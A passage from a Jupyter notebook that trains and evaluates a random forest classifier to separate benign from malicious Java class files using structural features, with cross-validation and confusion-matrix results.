8 \n", + "1 5.000000 8 \n", + "2 6.000000 9 \n", + "3 5.500000 8 \n", + "4 4.833333 8 \n", + "\n", + " class_name_slash_count class_name_uppercase_run_avg \\\n", + "0 3 1 \n", + "1 3 1 \n", + "2 4 1 \n", + "3 3 1 \n", + "4 4 1 \n", + "\n", + " class_name_uppercase_run_longest constant_pool_count \n", + "0 1 1037 ... \n", + "1 1 11 ... \n", + "2 1 152 ... \n", + "3 1 330 ... \n", + "4 1 151 ... \n", + "\n", + "[5 rows x 35 columns]" + ] + } + ], + "prompt_number": 220 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_big_pile_df['class_name_length'].describe()" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 221, + "text": [ + "count 366341.000000\n", + "mean 48.081181\n", + "std 19.812234\n", + "min 1.000000\n", + "25% 36.000000\n", + "50% 47.000000\n", + "75% 61.000000\n", + "max 161.000000\n", + "Name: class_name_length, dtype: float64" + ] + } + ], + "prompt_number": 221 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "Randomize list" + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_random_df = java_big_pile_df.reindex(np.random.permutation(java_big_pile_df.index))\n", + "java_random_2k_df = java_random_df[0:2000]\n", + "java_random_the_rest_df = java_random_df[2000:]" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 239 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_random_2k_df['label'] = 'benign'" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 240 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_more_bad_df['label'] = 'malicious'" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 241 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "java_4k_df = pd.concat([java_more_bad_df, java_random_2k_df], ignore_index=True)\n", + "java_4k_df.fillna(0, inplace=True)" + ], + "language": "python", + "metadata": {}, + "outputs": [], + "prompt_number": 242 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "clf_4k = sklearn.ensemble.RandomForestClassifier(n_estimators=75)\n", + "all_features = ['acc_abstract', 'acc_annotation', 'acc_enum', 'acc_final', 'acc_interface',\n", + " 'acc_public', 'acc_super', 'acc_synthetic', 'ap_count',\n", + " 'class_name_digit_run_avg', 'class_name_digit_run_longest',\n", + " 'class_name_length', 'class_name_lowercase_run_avg',\n", + " 'class_name_lowercase_run_longest', 'class_name_slash_count',\n", + " 'class_name_uppercase_run_avg', 'class_name_uppercase_run_longest',\n", + " 'constant_pool_count', 'entropy', 'interface_count', 'major version',\n", + " 'method_name_digit_run_avg', 'method_name_digit_run_longest',\n", + " 'method_name_lowercase_run_avg', 'method_name_lowercase_run_longest',\n", + " 'method_name_uppercase_run_avg', 'method_name_uppercase_run_longest',\n", + " 'methods_count', 'minor version', 'size']\n", + "\n", + "X = java_4k_df.as_matrix(all_features)\n", + "y = np.array(java_4k_df['label'].tolist())\n", + "\n", + "scores = sklearn.cross_validation.cross_val_score(clf_4k, X, y, cv=10)\n", + "print(\"Accuracy: %0.3f (+/- %0.3f)\" % (scores.mean(), scores.std() * 2))" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Accuracy: 0.989 (+/- 0.008)\n" + ] + } + ], + "prompt_number": 243 + }, + { + "cell_type": "markdown", + "metadata": {}, + "source": [ + "#### Testing out this new classifier still shows us good results." + ] + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "import sklearn.ensemble\n", + "from sklearn.metrics import confusion_matrix\n", + "from sklearn.cross_validation import train_test_split\n", + "\n", + "# 80/20 Split for predictive test\n", + "X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2)\n", + "clf_4k.fit(X_train, y_train)\n", + "y_pred = clf_4k.predict(X_test)\n", + "labels = ['benign', 'malicious']\n", + "cm = confusion_matrix(y_test, y_pred, labels)\n", + "plot_cm(cm, labels)" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "output_type": "stream", + "stream": "stdout", + "text": [ + "Confusion Matrix Stats\n", + "benign/benign: 99.00% (398/402)\n", + "benign/malicious: 1.00% (4/402)\n", + "malicious/benign: 0.79% (3/382)\n", + "malicious/malicious: 99.21% (379/382)\n" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\nn0HShG5eex6ptr9jN859hfQl4kONByS9j1